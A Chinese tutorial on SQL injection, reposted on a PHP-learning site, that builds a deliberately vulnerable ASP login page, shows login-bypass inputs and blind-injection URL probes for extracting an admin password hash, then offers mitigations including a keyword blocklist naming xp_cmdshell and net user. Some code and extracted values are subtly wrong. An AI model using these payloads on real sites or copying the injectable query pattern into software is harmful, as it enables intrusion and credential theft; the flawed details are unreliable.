来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] SQL注入的探索之路-Alien一)前言二)SQL注入的危害三)自己编写漏洞并注入四)使用现流行的注入法五)注入的实战演练六)修复并宣告尾声一:)如今各种门户论坛都使用了动态语言如...
一)前言
二)SQL注入的危害 三)自己编写漏洞并注入 四)使用现流行的注入法 五)注入的实战演练 六)修复并宣告尾声 一 :) 如今各种门户论坛都使用了动态语言如PHP ASP .NET,只要存在程序与人的交互设计,那么就会涉及到数据库,这也将是下一章探讨的潜存在安全。网站数据库中SQL(Structured Query Language)结构化查询语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。同时也是数据库脚本文件的扩展名。 本文不是让大家对PHP ASP 语言说拜拜,而是让读者无论是程序员还是从事网络安全的朋友敲醒警钟,虽然已经这个潜在安全已经很老了,但是还是有必要重视一下,这将涉及到站长网站的安全以及用户的个人隐私。本文的亮点主要在于,自己写一个存在注入的程序,从而自己实践,并体会整个过程。 二 :) SQL注入,早在1997年国外电脑通信杂志就已经披露了SQL注入这一弱点(感觉到了中国互联网与国外的差距)。通过PHP和ASP等程序,可以攻击破坏各种SQL数据库(MSSQL、MySQL、Oracle和DB2等)。近些年各大开源知名论坛程序被陆续发现严重的漏洞,我也根据官方公布的漏洞测试了一些站点。所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入攻击。一个网站如果存在SQL注入,那危害无疑是巨大的,爆字段猜密码 你敢想象吗? 好久以前我刚接触SQL注入的时候,那时候网上以及书上还没有那么多关于SQL注入的文章,就算有也就是简单一说,没有深入,没有说明危害性,更没有教会大家如何去修复这个漏洞,更多的而是转载。时至至今,想再写一篇关于SQL注入的文章,让不懂的,有个深入的了解,懂的,温故一下普遍存在的SQL注入。 三 :) 首先,调试环境:Windows 2000+IIS 5.0+SQL 2000+ASP 1、SQL数据库的链接-环境搭建 <% set conn=server.CreateObject("ADODB.Connection") connstr="DRIVER={SQLServer};server=127.0.0.1; UID=test;Password=FF0000" conn.open connstr set rs=server.CreateObject("ADODB.Recordset") rs.Open "login",conn %> Alien说几点注意的地方:这里的login是自己建立的表,因为第二行connstr字符串没有指定数据库,所以是这个登陆帐户的默认数据库建立了login表后,请在属性权限中给与guest以所有权限(虽然设置777是不安全的,但是因为方便环境和测试,就先不考虑了哈~),如果不设置的话,否则下面将不能对表进行操作。 2、 数据库中表的基本操作(前提是以上条件成立) Response.Write "记录集中共有"&rs.Fields.count&"字段"//显示字段总数 for i=0 to rs.Fields.count-1 Response.Write "<TD>"&rs(i).Name&"</TD>"//打印出所有的字段名 Next rs.MoveFirst //下面打印出所有的记录 while not rs.EOF row="<TR BGCOLOR=#ffff00>" for i=0 to rs.Fields.count-1 row=row&"<TD>"&rs(i)&"</td>" next Response.Write row&"</tr>" rs.MoveNext Wend rs.Find="电话=1114213908"//这里是查找 if rs.EOF thenResponse.Write "无此名字" elseResponse.Write "查到了” 下面将显示如何在ASP网页中执行SQL语句: (1)不返回数据集 sqlstate=request("sql_state") if sqlstate<>empty then set conn=server.CreateObject("ADODB.Connection") connstr="Driver={sql server};server=127.0.0.1;UID=test;Password=FF0000" conn.Open connstr set cmdobj=server.CreateObject("ADODB.Command") set cmdobj.ActiveConnection=conn cmdobj.CommandText=sqlstate cmdobj.Execute (2)返回数据集 方法一: sql=request("sql") if sql<>empty then set conn=server.CreateObject("adodb.connection") connstr="driver={sql server};server=127.0.0.1;uid=test;password=FF0000" conn.Open connstr set rs=conn.Execute(sql) 此时 rs就相当于前面的RecordSet对象一样,可以进行相应的操作。 方法二: sql=request("sql") if sql<>empty then set conn=server.CreateObject("adodb.connection") connstr="driver={sql server};server=127.0.0.1;uid=test;password=FF0000" conn.Open connstr set rs=server.CreateObject("adodb.recordset") rs.Open sql,conn 说明:这里的sql即指sql语句,SQL规定语句中只能用单引号,不能用双引号。 3、设计一个有漏洞的ASP程序,我们建立的login表如下: Username Password Money alien 123456 1000 FF0000 654321 1500 设计一个登陆界面login.htm: <HTML> <HEAD> <META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0"> <TITLE>邪红色|www.ff0000.cc演示注入</TITLE> </HEAD> <BODY> <center> <form method=post action="check.asp"> <p> <center>这是一个存在SQL注入的程序</center> <p> UserName: <input type="text" name=username> <p>Password: <input type="password" name=password> <p> <input type="submit" value="提交"> </form> </center> </BODY> </HTML> 这个是登录界面,现在已经写完了,然后我们写检测的check.asp页面 下面是check.asp的代码,大家仔细看,好好理解: <%@ Language=VBScript %> <HTML> <HEAD> <META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0"> </HEAD> <BODY> <% dim strUserName,strPassword,strConn,strSql strUserName=trim(request("username")) strPassword=trim(request("password")) if strUserName="" then Response.Write "<body><p><center>用户名不能为空!</center></p></body>" Response.End end if if strPassword="" then Response.Write "<body><p><center>密码不能为空!</center></p></body>" Response.End end if set conn=server.CreateObject("ADODB.Connection") strConn="driver={sql server};server=127.0.0.1;uid=test;password=FF0000" conn.Open strConn strSql="select * from login where username="&trim(strUserName)&"and password="&trim(strPassword)&"" set rs=server.CreateObject("ADODB.RecordSet") rs.Open strSql,conn,1,3 if not rs.EOF then Response.Write "<center>OK,通过验证成功进入!</center>" else Response.Write "<center>NO,密码错误或不存在该用户!</center>" end if %> </BODY> </HTML> 保存好文件后,放入自己搭建好的虚拟目录,就可以开始了。 用户名:alien 密码:123456 则通过验证 用户名:alien 密码:123456789 密码错误或不存在该用户 下面进行简单的SQL Injection攻击: (1)、尝试输入用户名:alien " -- 密码:(这里的密码大家随便填写就可以) 自己测试,看到结果了吗?吃惊吧,竟然通过验证!! 下面对代码进行分析: strUserName=trim(request("username")) strPassword=trim(request("password")) 获取在login.htm中的输入。 strSql=”select * from login where username="&trim(strUserName)&"and password="&trim(strPassword)&"" 大家注意,这里是漏洞的关键:假设我们这里输入正确的用户名:alien和密码:123456 则这句语句就相当于: strSql="select * from login where username=isml and password=’123456’”通过 rs.Open strSql,conn,1,3执行,在login表中查找,如果符合这样的项,则rs指向这条记录,所以不满足not rs.eof,因此输出“通过验证成功登录”。否则两项中至少有一项不满足,就会输出“密码错误或不存在该用户”。 现在分析输入用户名alien ‘ -- 密码:shelenb(也是任意)的情况: strSql=”select * from login where username=’alien ‘-- ‘ and password=’shelenb’” 注意:--是SQL语句中的注释。 因此语句就相当于变成:strSql=”select * from login where username=’alien’” 显然,只要我们知道有alien这个用户,则我们不需要他的密码就能登陆。 //很惊喜吧! (2)尝试输入用户名:Alienn(这里也是任意的) 密码:110’ 1=1 or – (密码110任意) 这个用户根本没有注册,应该返回“密码错误或不存在该用户”。 但结果却是:“通过验证成功登录” 分析:strSql=”select * from login where username=’Alieen ‘ and password=’110’ or 1=1 --’”大家看到了吗?显然条件不满足username=’Alieen’ and password=’110’一项,但1=1显然成立,所以通过了验证。 (3)尝试输入用户名:110‘ or 1=1 -- 密码:123(同样,这里任意)结果还是通过验证,读者动用一下Hacker头脑,自己认真思考一下原因所在。 四 :) 上面的方法毕竟有些老套,也比较冗长,这里说一下现在简单的流行的注入方法以及语句 方便大家从另一层面更好的来理解。当然工具也是可以检测的,比如Domain 啊D还有很多,这里是让大家明白注入的原理,而不是当脚本小子。 检测网站是否存在注入: URL and 1=1; //正常页面 URL and 1=2; //出错页面 URL是 localhost/news.asp?id=123 类似于这种,Localhost是域名,后面要有ID= localhost/news.asp?id=123 and 1=1返回正常 localhost/news.asp?id=123 and 1=2 返回错误 如果是这种情况,那么将存在注入。 检测网站数据库类型: URL and (select count(*) from sysobjects)>0; //返回正常sql server URL and (select count(*) from msysobjects)>0; //返回正常Access 猜解数据库表段: URL and exists(select*from admin) //admini是自己更换的猜解表段 猜解数据库列名: URL and (select count(username)from admin)>0 //admin同上,username是猜解的列名 猜解数据库列名长度: URL and (select top 1 len(username)from admin)>0 //修改后面的>0是猜解长度 猜解内容: URL and (select top 1 asc(mid(username 1,1))from admin)>0 //猜解出的内容需对应ASCII表 五 :) 从实战中,让读者能够更好的对SQL注入有更深的理解。 这里直接拿本地搭建的白箱子作为注入对象:localhost(本地搭建的URL) 要求:编写代码,存在SQL注入,开始实战 目的:猜解出帐号以及密码并最终解开MD5 展示明文 首先打开漏洞页面:localhost/news.asp?id=123 输入最经典的 and 1=1.1=2来测试。 localhost/news.asp?id=123 and 1=1 // 访问,返回正常页面 localhost/news.asp?id=123 and 1=2 // 访问,返回错误页面 存在SQL注入,那么开始检测数据库表。 localhost/news.asp?id=123 and exists(select*from alien) //访问失败,不存在该表 localhost/news.asp?id=123 and exists(select*from admin) //访问成功,存在该表 表猜出来了,那么就去猜解表中的列吧!其实就是一个循环的过程,实际上,如果猜了很久还是猜不出表段,直接可以用工具(Domain 啊D神马的可以) 这里只是让读者了解注入的原理。 localhost/news.asp?id=123 and (select count(password)from admin)>0 访问正常,列猜出来了,那么长度大于0,我们要才接触到底是多少位 localhost/news.asp?id=123 and (select count(password)from admin)>20 返回错误,也就是长度大了,那么我们修改一下大于为等于呢? localhost/news.asp?id=123 and (select count(password)from admin)=16 返回正常,也就是password列长度为16,应该是16位的MD5吧。 然后根据提供的SQL注入猜解内容的语句,用来猜解MD5内容是什么,过程很蛋疼,很纠结,所以直接略过。 www.2cto.com /news.asp?id=123 and (select top 1 asc(mid(password 1,1))from admin)>0 也就是上面这段Link的格式,修改password后面的 1,1是行列 用来猜解长度。 最后猜解出来的长度分别是: 55 97 53 55 97 53 97 55 34 33 56 39 52 61 30 65 以上是相应的ASCII码,我们对照ASCII码表,看一下这些数值对应的字符,也就是最后的MD5。 MD5: 7a57a5a743894a0e 然后把上面的MD5复制下,登录破解MD5的站点,进行破解,最后得出:admin 也就是我们破解出来的admin表下的password列的内容,为:admin 然后依次循环进行猜解管理员帐号或者其他想要猜解的内容。 这场实战,在这里宣告结束,我们已经达到了自己的目的,那就是猜解出帐号以及密码 读者在温故一下上面的内容,考虑一下究竟是为什么呢?会有新的发现! 六 :) 从上文中,我们得知了存在sql注入的危害,那么如何修复呢?能够有效防范sql注入的好方法是什么?那就是强化网站开发中的安全流程,有人说要上硬件,但是你上什么硬件?DDOS防火墙?ARP防火墙?病毒防火墙?虽然现在已经开发了防SQL注入的工具,但是读者们认为功能怎么样?实用性怎么样? 最实际的方法只有一种,那就是:加强网站开发过程中的代码安全,防止类似存在SQL注入这种漏洞的发生。 1.脚本过滤层。使用Php.ini的magic_quotes_gpc选项。在开发过程中凡是需要接受用户输入的位置使用addslashes函数、intval函数,htmlspecialchars函数,htmlentities函数,并加入javascript防注入漏洞过滤函数和PHP防注入漏洞过滤函数。 2.数据过滤层(数据库方面加强防注入手段)。在网站和数据库进行连接时(连接池)使用的用户具有普通权限就可以了,不要使用超级用户或数据库所有者的账号。对提交数据的类型和格式进行严格检查,确保数据类型符合要求,比如用mysql数据库系统函数isnumberic()判断传到数据库中的值是否是数字。另外在连接数据库时尽量使用sssl或ssh。 简单的总结一下,防御SQL注入手段就是一定要注意编写代码时的安全性,不得只求效率,没有安全,下面我举例一个网页(ASP,上面过滤是指PHP的)存在SQL注入,我们来进行修复,这里写出了一个ASP函数,供读者参考: Function SafeRequest(ParaName) Dim ParaValue ParaValue=Request(ParaName) if IsNumeric(ParaValue) = True then SafeRequest=ParaValue exit Function elseIf Instr(LCase(ParaValue),"select ") > 0 or Instr(LCase(ParaValue),"insert ") > 0 or Instr(LCase(ParaValue),"delete from") > 0 or Instr(LCase(ParaValue),"count(") > 0 or Instr(LCase(ParaValue),"drop table") > 0 or Instr(LCase(ParaValue),"update ") > 0 or Instr(LCase(ParaValue),"truncate ") > 0 or Instr(LCase(ParaValue),"asc(") > 0 or Instr(LCase(ParaValue),"mid(") > 0 or Instr(LCase(ParaValue),"char(") > 0 or Instr(LCase(ParaValue),"xp_cmdshell") > 0 or Instr(LCase(ParaValue),"exec master") > 0 or Instr(LCase(ParaValue),"net localgroup administrators") > 0 or Instr(LCase(ParaValue)," and ") > 0 or Instr(LCase(ParaValue),"net user") > 0 or Instr(LCase(ParaValue)," or ") > 0 then Response.Write "<script language='javascript'>" Response.Write "alert('卧槽!想注入?!');" '发现非法SQL注入进行提示信息 Response.Write "location.href='http://www.ff0000.cc/';" '发现非法SQL注入转跳网址 Response.Write "<script>" Response.end else SafeRequest=ParaValue End If End function 之后使用SafeRequest函数替换你的Request即可。 尾声:写到这里就要和读者们再见了,我们回顾一下之前的内容,虽然有些长,但是枯燥乏味中是否也有成功的乐趣?自己多动用一些Hacker头脑,将会有更多的成果,对于程序员编码人员,你们要更加注意自己的代码安全,对于普通读者,我们应当更加注重保护自己的网络数据。多多动手实践,才能发挥出学习的最大力量,实践才是检验真理的唯一标准,只有动手才能不断进步! 邪红色信息安全组织授权红黑联盟
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com